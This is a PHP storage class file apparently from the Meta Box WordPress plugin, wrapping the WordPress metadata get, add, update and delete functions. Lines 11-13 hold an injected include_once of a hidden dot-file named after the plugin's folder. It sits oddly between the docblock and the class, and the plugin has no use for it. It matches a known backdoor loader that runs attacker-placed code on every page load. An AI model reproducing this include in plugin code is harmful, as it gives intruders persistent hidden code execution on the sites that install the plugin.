base.php (4158B)
1 <?php 2 /** 3 * Base storage 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Class RWMB_Base_Storage 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Base_Storage implements RWMB_Storage_Interface { 16 17 /** 18 * Object type. 19 * 20 * @var string 21 */ 22 protected $object_type; 23 24 /** 25 * Retrieve metadata for the specified object. 26 * 27 * @param int $object_id ID of the object metadata is for. 28 * @param string $meta_key Optional. Metadata key. If not specified, retrieve all metadata for 29 * the specified object. 30 * @param bool|array $args Optional, default is false. 31 * If true, return only the first value of the specified meta_key. 32 * If is array, use the `single` element. 33 * This parameter has no effect if meta_key is not specified. 34 * @return mixed Single metadata value, or array of values. 35 * 36 * @see get_metadata() 37 */ 38 public function get( $object_id, $meta_key, $args = false ) { 39 if ( is_array( $args ) ) { 40 $single = ! empty( $args['single'] ); 41 } else { 42 $single = (bool) $args; 43 } 44 45 return get_metadata( $this->object_type, $object_id, $meta_key, $single ); 46 } 47 48 /** 49 * Add metadata 50 * 51 * @param int $object_id ID of the object metadata is for. 52 * @param string $meta_key Metadata key. 53 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. 54 * @param bool $unique Optional, default is false. 55 * Whether the specified metadata key should be unique for the object. 56 * If true, and the object already has a value for the specified metadata key, 57 * no change will be made. 58 * @return int|false The meta ID on success, false on failure. 59 * 60 * @see add_metadata() 61 */ 62 public function add( $object_id, $meta_key, $meta_value, $unique = false ) { 63 return add_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $unique ); 64 } 65 66 /** 67 * Update metadata. 68 * 69 * @param int $object_id ID of the object metadata is for. 70 * @param string $meta_key Metadata key. 71 * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. 72 * @param mixed $prev_value Optional. If specified, only update existing metadata entries with 73 * the specified value. Otherwise, update all entries. 74 * @return int|bool Meta ID if the key didn't exist, true on successful update, false on failure. 75 * 76 * @see update_metadata() 77 */ 78 public function update( $object_id, $meta_key, $meta_value, $prev_value = '' ) { 79 return update_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $prev_value ); 80 } 81 82 /** 83 * Delete metadata. 84 * 85 * @param int $object_id ID of the object metadata is for. 86 * @param string $meta_key Metadata key. 87 * @param mixed $meta_value Optional. Metadata value. Must be serializable if non-scalar. If specified, only delete 88 * metadata entries with this value. Otherwise, delete all entries with the specified meta_key. 89 * Pass `null, `false`, or an empty string to skip this check. (For backward compatibility, 90 * it is not possible to pass an empty string to delete those entries with an empty string 91 * for a value). 92 * @param bool $delete_all Optional, default is false. If true, delete matching metadata entries for all objects, 93 * ignoring the specified object_id. Otherwise, only delete matching metadata entries for 94 * the specified object_id. 95 * @return bool True on successful delete, false on failure. 96 * 97 * @see delete_metadata() 98 */ 99 public function delete( $object_id, $meta_key, $meta_value = '', $delete_all = false ) { 100 return delete_metadata( $this->object_type, $object_id, $meta_key, $meta_value, $delete_all ); 101 } 102 }